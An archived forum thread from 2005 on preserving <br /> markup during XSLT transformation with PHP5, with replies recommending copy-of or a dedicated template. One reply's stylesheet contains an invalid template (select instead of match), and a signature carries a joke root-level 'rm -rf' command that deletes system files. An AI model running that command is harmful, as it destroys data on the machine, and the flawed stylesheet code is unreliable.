HTML tags

Discussion in 'XML' started by OmyGOD, Aug 15, 2005.

  1. OmyGOD

    OmyGOD Guest

    Hi,
    I am trying to transform XML code like

    <text>
    This is the first line<br />
    This is the second line
    </text>

    and XSL

    <xsl:value-of select="text" />

    with XSLTProcessor.(which is provided by an extension of PHP5)

    but I can get result like this

    This is the first line
    This is the second line

    how can I keep the <br /> tag during transformation.

    Thanks
    OmyGOD, Aug 15, 2005
    #1
    1. Advertising

  2. OmyGOD

    Soren Kuula Guest

    OmyGOD wrote:
    > Hi,
    > I am trying to transform XML code like
    >
    > <text>
    > This is the first line<br />
    > This is the second line
    > </text>
    >
    > and XSL
    >
    > <xsl:value-of select="text" />
    >
    > with XSLTProcessor.(which is provided by an extension of PHP5)
    >
    > how can I keep the <br /> tag during transformation.


    The value-of, on a node, will contantenate together all the text nodes
    in the subtree rooted in the node, and return that...

    Seems you just want to make an identical copy of everything? Or only of
    the contents of a text element?

    <?xml version='1.0' encoding='utf-8' ?>^M^M
    <xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform">


    <!-- Don't copy text elements, but do copy their contents -->
    <xsl:template match="text">
    <xsl:apply-templates/>
    </xsl:template>

    <xsl:template match="*">
    <xsl:copy>
    <xsl:apply-templates select="text() | *"/>
    </xsl:copy>
    </xsl:template>

    <xsl:template select="text()">
    <xsl:value-of select="."/>
    </xsl:template>

    </xsl:stylesheet>

    Soren
    Soren Kuula, Aug 16, 2005
    #2
    1. Advertising

  3. OmyGOD

    Peter Flynn Guest

    OmyGOD wrote:

    > Hi,
    > I am trying to transform XML code like
    >
    > <text>
    > This is the first line<br />
    > This is the second line
    > </text>
    >
    > and XSL
    >
    > <xsl:value-of select="text" />
    >
    > with XSLTProcessor.(which is provided by an extension of PHP5)
    >
    > but I can get result like this
    >
    > This is the first line
    > This is the second line
    >
    > how can I keep the <br /> tag during transformation.


    Don't use value-of: its job is to output content stripped of all markup.
    Either use copy-of to preserve the markup, or define a rule for br such as

    <xsl:template match="br"><br/></xsl:template>

    which simply re-outputs the markup.

    ///Peter
    --
    sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
    &;top"
    Peter Flynn, Aug 16, 2005
    #3
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. Dean H. Saxe
    Replies:
    0
    Views:
    1,024
    Dean H. Saxe
    Jan 3, 2004
  2. Rob Nicholson
    Replies:
    3
    Views:
    717
    Rob Nicholson
    May 28, 2005
  3. Ranganath

    Custom Tags within Custom Tags.

    Ranganath, Oct 17, 2003, in forum: Java
    Replies:
    2
    Views:
    454
    Ranganath
    Oct 21, 2003
  4. Mike
    Replies:
    3
    Views:
    870
    Michael Borgwardt
    Jan 9, 2004
  5. Donald Firesmith

    html tags within meta tags allowed?

    Donald Firesmith, Jan 5, 2005, in forum: XML
    Replies:
    5
    Views:
    883
    Andy Dingley
    Jan 8, 2005
Loading...

Share This Page